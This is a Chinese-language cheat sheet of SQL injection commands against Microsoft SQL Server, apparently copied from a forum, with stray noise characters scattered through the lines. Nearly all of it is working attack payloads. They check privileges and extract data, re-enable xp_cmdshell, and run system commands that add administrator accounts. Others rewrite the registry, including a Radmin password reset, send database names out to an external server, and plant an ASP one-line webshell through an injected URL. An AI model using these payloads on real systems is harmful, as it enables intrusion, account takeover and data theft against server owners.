阿D常用的一些注入命令" |+ `. |2 A5 X e
//看看是什么权限的8 ~' H% D" B0 j0 I
and 1=(Select IS_MEMBER('db_owner'))! j" Q+ S% y( e4 ~' ]1 g
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
- c! _- `9 r# ^ H
4 B! n P2 v6 ?. k, i' b7 u//检测是否有读取某数据库的权限
" e8 p G/ M; D- E: H0 D4 {and 1= (Select HAS_DBACCESS('master'))
) @6 n# _9 ~' a' I1 J7 \( W3 k8 Y* JAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
7 h, o% L/ P5 }: K3 f( {0 D# v P; L: X
* |2 V! h8 w+ n$ z$ v数字类型
& \- b* E0 e" p C2 K3 qand char(124)%2Buser%2Bchar(124)=0 S. D6 e8 k3 `4 f
' H7 r1 ~5 M$ |+ h' A& O字符类型
9 V) s5 a9 Q2 s( i( p" N N' and char(124)%2Buser%2Bchar(124)=0 and ''='
4 {, W" K8 j+ x
$ |& o! E& o, `$ {+ l3 L% O搜索类型/ ]5 e+ E$ H- x$ g+ \' E& H% [8 t
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
, a. r- v0 g8 }4 [4 j
! r3 ]+ E5 g0 D爆用户名
`; a+ X' P! A! B9 Qand user>0
* T) ]6 q, c$ V, |, n) w: [+ u% o5 M' t! G' and user>0 and ''='
: C% d: b4 w0 f7 P1 q
/ i/ i$ R7 H- I2 c3 [* X3 `. X$ n: X检测是否为SA权限. B K0 m: {4 j/ @8 N
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 I1 D# g$ S5 n* \And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
7 O; I. Y, Z% Q( ~ c) ]4 }& I' j0 F& q# h7 E
检测是不是MSSQL数据库
7 N4 p* Q' g, P) B* k8 O: `/ mand exists (select * from sysobjects);-- . Q& q( b/ d' `# K! j7 g% N
2 S- b: ?+ y* c检测是否支持多行7 V( Y$ _" }4 N0 P2 x$ F
;declare @d int;--
# Q5 l9 w& }( P( P7 A3 e* d* g: T' {7 k; g( X4 E4 g
恢复 xp_cmdshell
9 Y' I7 f1 M* I;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
* Z* [* L1 q1 o1 i2 h' [" V
1 P& q" G( _- @# g) N7 S- H5 o" ]+ a( E) w: R
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
9 b0 d& c# i$ J: c& m
3 Y, c ~" g# D+ ^# {//-----------------------( u$ e" M5 D! e0 b' J9 s8 a9 r, g6 ]
// 执行命令 z3 ~, Y* v0 s' K
//-----------------------2 k( `- g5 i1 w6 f
首先开启沙盘模式:
5 k/ J. C/ U+ Qexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
* T9 G' x2 Y8 r9 C5 v/ V/ u/ o L/ ]
然后利用jet.oledb执行系统命令. z o/ R* C' O" G A
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
7 U; P7 b7 H0 E; ~, p" @9 Q1 k; q B" a+ ]# I1 P3 l0 [
执行命令
) E5 U6 i; Z$ H;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
. @9 G2 V0 O6 B: g
+ \1 @' ]/ L2 w8 AEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'0 K+ `) C3 c6 ^0 K [$ a$ m$ y
O% ]5 I0 H, z6 s; g* z' j" O% Y* n判断xp_cmdshell扩展存储过程是否存在:
6 E' T A" Q/ c9 M$ E. `http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
8 V# h1 g5 _( ]& N1 d! f) @* \2 X$ q7 \3 r
写注册表
; H! ^; L7 m& _9 r2 x: J: W* Qexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
* ^2 R0 S" p5 g+ ^
, R7 b ~, Y& Q6 I- ]- DREG_SZ: C2 G: ~8 a- v, _8 T
$ V7 r" X6 O% c" n& m# V
读注册表) n$ W5 n/ F# B/ A' R) j
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'( Z/ e0 Q S, z: G! u) d
6 v* B7 B/ A" Q# y% d- \读取目录内容
& U% a1 |+ ]+ b" W% |exec master..xp_dirtree 'c:\winnt\system32\',1,1
' Q) H B( }' \5 i/ }6 E6 C" Q0 |& r* \& a8 S
A @1 T' _. L# T+ j5 A6 A数据库备份' i( f7 c. W- \8 J( e
backup database pubs to disk = 'c:\123.bak'
' a; Z# k2 d8 o6 e9 ]: C. ]# p6 V* h
//爆出长度7 @) D0 d3 k1 s
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
5 s5 ?9 m8 x0 z2 @8 b
3 L% W! S+ D4 J2 ^% _. `8 I3 Q0 O% w/ R
" }3 @; L5 U. D
8 Y) z2 \, [4 W9 y. `5 @9 Q更改sa口令方法:用sql综合利用工具连接后,执行命令:
$ i) l) n$ s( g0 z5 n/ Q0 n) {% Aexec sp_password NULL,'新密码','sa'
8 j' r$ X9 t& g& m9 A2 v9 J! J4 z# M" S# a$ v
添加和删除一个SA权限的用户test:
! q6 [& U T; qexec master.dbo.sp_addlogin test,ptlove
5 v4 K, F; z& ~8 fexec master.dbo.sp_addsrvrolemember test,sysadmin
9 o, ?9 f* \+ q, [! e% W: f9 J; K: L. g2 ~/ t
删除扩展存储过过程xp_cmdshell的语句: ( n/ n" n+ x- X; U$ z g4 A
exec sp_dropextendedproc 'xp_cmdshell'
. {+ z: q- \2 j" \, A k3 s! U5 o
添加扩展存储过过程' g( `6 `* X3 `3 H% D: v
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
/ R- z% z5 X% }# j/ C# cGRANT exec On xp_proxiedadata TO public v7 k$ z) y, M/ q/ x
) u# V6 F8 l+ S r8 k B+ q. t$ m7 B1 }8 g
2 I: z( ^& D' r7 b
停掉或激活某个服务。
: S" x, `* s; T5 W3 O9 x5 h$ X1 M( A0 S" C, `" `
exec master..xp_servicecontrol 'stop','schedule'
5 u: \6 K) p1 Mexec master..xp_servicecontrol 'start','schedule'. h( Y+ h! i. b6 l
5 M% x( y' m( t1 t2 f( @
dbo.xp_subdirs
) |2 }9 m$ _ i& }) v
3 S V: L: Q$ X F% S0 `2 y4 I4 q, _只列某个目录下的子目录。# b' ?9 u, o; d* S
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'6 x- Z* z1 C1 @7 O
+ @6 A3 _0 v3 {( W
dbo.xp_makecab' o& Q6 M) T" V; b+ G$ Q
( P0 ? h# k+ J) X1 b
将目标多个档案压缩到某个目标档案之内。
: M2 m/ d4 \( `# y+ n所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。7 }9 ^9 W' O* ^+ H
: g- C7 d3 C7 e! H: f
dbo.xp_makecab2 M+ ?3 n$ L, o+ o; g
'c:\test.cab','mszip',1,! Z( C/ c7 I! E
'C:\Inetpub\wwwroot\SQLInject\login.asp',
7 P# F+ }( a8 J'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'. i) j8 d8 I; C3 L7 a
; E' H' ?( j2 j- i% {& `
xp_terminate_process
- a5 e% c& J$ J# o8 S: c% Q ^( e1 o9 r+ k" @, N$ j
停掉某个执行中的程序,但赋予的参数是 Process ID。
4 c# j" H9 r2 R6 \6 C# O利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
* O L+ I; x4 U9 N/ G/ t0 }! t7 C* \
+ K+ ?* q& [! Z7 A0 C! [xp_terminate_process 24847 d6 ^6 S# f _( g3 L; s) h
' ~( a+ h. v1 z& Y i
xp_unpackcab5 _, o" \6 N1 j# z2 i! [
' S0 c) @0 b4 g+ _( a( Q$ K解开压缩档。3 G& G# N4 q& A- K& o, c
" G+ ?' b8 W5 t6 K0 P
xp_unpackcab 'c:\test.cab','c:\temp',1
3 y/ r" l A# B
' x( _; T( y- U1 c# d) c
+ ]! e2 @; _0 x0 Y某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234+ h6 Y7 h: C' ^( r" r' M4 F3 T
' H/ A+ z/ N3 k3 icreate database lcx;
' Z. D) b" T! d* U& ICreate TABLE ku(name nvarchar(256) null);7 |/ \8 d& n- b0 l/ b
Create TABLE biao(id int NULL,name nvarchar(256) null);
4 F1 l* v9 x0 C- g3 F/ u s. M% Y: s& U' v3 W
//得到数据库名
$ O2 e4 W7 F- U% q. T% Dinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
1 j7 P m2 Z- v5 {5 M" [2 v# O4 w" Q$ r5 y: |: S/ D7 A8 M' N
! F2 [3 V' [* x3 t
//在Master中创建表,看看权限怎样3 [; C* I4 `) q: R; R( V
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
9 O! N; H& ]8 b
9 @5 S5 d2 Y9 \& F用 sp_makewebtask直接在web目录里写入一句话马:
3 H5 R. W! r2 z& h* W' O% G) M- Ghttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
5 Y& Y: k1 W! z+ ]# i B8 y" J7 x; V( M/ x; R8 o( z
//更新表内容, A# g+ ^& o t2 k0 F0 F
Update films SET kind = 'Dramatic' Where id = 123( Z5 j8 z. d- r5 t' ^
' c. s# Q3 B: k o, f5 r$ R6 ~
//删除内容+ y3 R& |* z, x: X3 l, b( O6 i
delete from table_name where Stockid = 3 |